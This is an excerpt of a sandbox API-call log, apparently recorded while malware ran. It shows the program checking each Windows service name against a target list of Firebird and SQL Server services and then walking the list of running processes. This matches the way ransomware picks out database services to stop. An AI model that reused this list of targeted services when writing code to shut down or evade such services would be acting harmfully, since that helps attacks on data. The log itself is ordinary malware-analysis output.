	[0085.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0085.825] lstrlenW (lpString="FontCache") returned 9
	[0085.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0085.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0085.825] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0085.826] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0085.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0085.826] lstrlenW (lpString="gpsvc") returned 5
	[0085.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0085.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0085.826] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0085.826] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0085.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0085.826] lstrlenW (lpString="iphlpsvc") returned 8
	[0085.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0085.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0085.826] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0085.826] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0085.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0085.826] lstrlenW (lpString="KeyIso") returned 6
	[0085.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0085.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0085.826] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0085.826] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0085.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0085.826] lstrlenW (lpString="LanmanServer") returned 12
	[0085.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0085.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0085.826] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0085.826] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0085.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0085.826] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0085.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0085.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0085.826] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0085.826] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0085.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0085.826] lstrlenW (lpString="lfsvc") returned 5
	[0085.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0085.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0085.826] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0085.827] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0085.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0085.827] lstrlenW (lpString="lmhosts") returned 7
	[0085.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0085.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0085.827] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0085.827] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0085.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0085.827] lstrlenW (lpString="LSM") returned 3
	[0085.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0085.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0085.827] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0085.827] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0085.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0085.827] lstrlenW (lpString="MapsBroker") returned 10
	[0085.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0085.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0085.827] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0085.827] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0085.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0085.827] lstrlenW (lpString="MpsSvc") returned 6
	[0085.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0085.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0085.827] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0085.827] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0085.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0085.827] lstrlenW (lpString="NcbService") returned 10
	[0085.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0085.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0085.827] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0085.827] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0085.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0085.827] lstrlenW (lpString="netprofm") returned 8
	[0085.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0085.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0085.828] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0085.828] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0085.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0085.828] lstrlenW (lpString="NlaSvc") returned 6
	[0085.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0085.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0085.828] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0085.828] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0085.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0085.828] lstrlenW (lpString="nsi") returned 3
	[0085.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0085.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0085.828] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0085.828] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0085.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0085.828] lstrlenW (lpString="PcaSvc") returned 6
	[0085.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0085.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0085.828] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0085.828] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0085.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0085.828] lstrlenW (lpString="PlugPlay") returned 8
	[0085.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0085.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0085.828] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0085.828] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0085.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0085.828] lstrlenW (lpString="Power") returned 5
	[0085.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0085.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0085.828] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0085.828] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0085.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0085.828] lstrlenW (lpString="ProfSvc") returned 7
	[0085.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0085.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0085.829] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0085.829] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0085.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0085.829] lstrlenW (lpString="RpcEptMapper") returned 12
	[0085.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0085.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0085.829] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0085.829] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0085.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0085.829] lstrlenW (lpString="RpcSs") returned 5
	[0085.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0085.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0085.829] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0085.829] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0085.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0085.829] lstrlenW (lpString="SamSs") returned 5
	[0085.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0085.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0085.829] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0085.829] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0085.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0085.829] lstrlenW (lpString="Schedule") returned 8
	[0085.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0085.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0085.829] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0085.829] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0085.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0085.829] lstrlenW (lpString="SecurityHealthService") returned 21
	[0085.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0085.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0085.829] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0085.829] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0085.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0085.829] lstrlenW (lpString="SENS") returned 4
	[0085.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0085.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0085.829] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0085.830] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0085.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0085.830] lstrlenW (lpString="ShellHWDetection") returned 16
	[0085.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0085.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0085.830] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0085.830] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0085.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0085.830] lstrlenW (lpString="Spooler") returned 7
	[0085.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0085.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0085.830] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0085.830] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0085.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0085.830] lstrlenW (lpString="SSDPSRV") returned 7
	[0085.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0085.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0085.830] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0085.830] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0085.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0085.830] lstrlenW (lpString="StateRepository") returned 15
	[0085.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0085.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0085.830] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0085.830] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0085.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0085.830] lstrlenW (lpString="SysMain") returned 7
	[0085.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0085.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0085.830] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0085.830] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0085.831] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x31936f0 | out: hHeap=0x500000) returned 1
	[0085.831] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x354
	[0086.232] Process32FirstW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0086.232] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0086.233] lstrlenW (lpString="System") returned 6
	[0086.233] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0086.234] lstrlenW (lpString="smss.exe") returned 8
	[0086.234] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0086.238] lstrlenW (lpString="csrss.exe") returned 9
	[0086.238] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0086.238] lstrlenW (lpString="wininit.exe") returned 11
	[0086.238] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0086.239] lstrlenW (lpString="csrss.exe") returned 9
	[0086.239] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0086.239] lstrlenW (lpString="winlogon.exe") returned 12
	[0086.239] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0086.240] lstrlenW (lpString="services.exe") returned 12
	[0086.240] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0086.249] lstrlenW (lpString="lsass.exe") returned 9
	[0086.249] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.250] lstrlenW (lpString="svchost.exe") returned 11
	[0086.250] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0086.250] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0086.251] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0086.251] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0086.251] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.252] lstrlenW (lpString="svchost.exe") returned 11
	[0086.252] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0086.252] lstrlenW (lpString="dwm.exe") returned 7
	[0086.252] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.253] lstrlenW (lpString="svchost.exe") returned 11
	[0086.253] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.253] lstrlenW (lpString="svchost.exe") returned 11
	[0086.253] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.254] lstrlenW (lpString="svchost.exe") returned 11
	[0086.254] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.254] lstrlenW (lpString="svchost.exe") returned 11
	[0086.254] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.255] lstrlenW (lpString="svchost.exe") returned 11
	[0086.255] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.255] lstrlenW (lpString="svchost.exe") returned 11
	[0086.256] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.256] lstrlenW (lpString="svchost.exe") returned 11
	[0086.256] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.257] lstrlenW (lpString="svchost.exe") returned 11
	[0086.257] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.257] lstrlenW (lpString="svchost.exe") returned 11
	[0086.258] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.258] lstrlenW (lpString="svchost.exe") returned 11
	[0086.258] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0086.259] lstrlenW (lpString="spoolsv.exe") returned 11
	[0086.259] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.259] lstrlenW (lpString="svchost.exe") returned 11
	[0086.259] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0086.260] lstrlenW (lpString="audiodg.exe") returned 11
	[0086.260] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0086.260] lstrlenW (lpString="sihost.exe") returned 10
	[0086.260] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.261] lstrlenW (lpString="svchost.exe") returned 11
	[0086.261] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0086.261] lstrlenW (lpString="taskhostw.exe") returned 13
	[0086.261] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0086.262] lstrlenW (lpString="explorer.exe") returned 12
	[0086.262] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0086.263] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
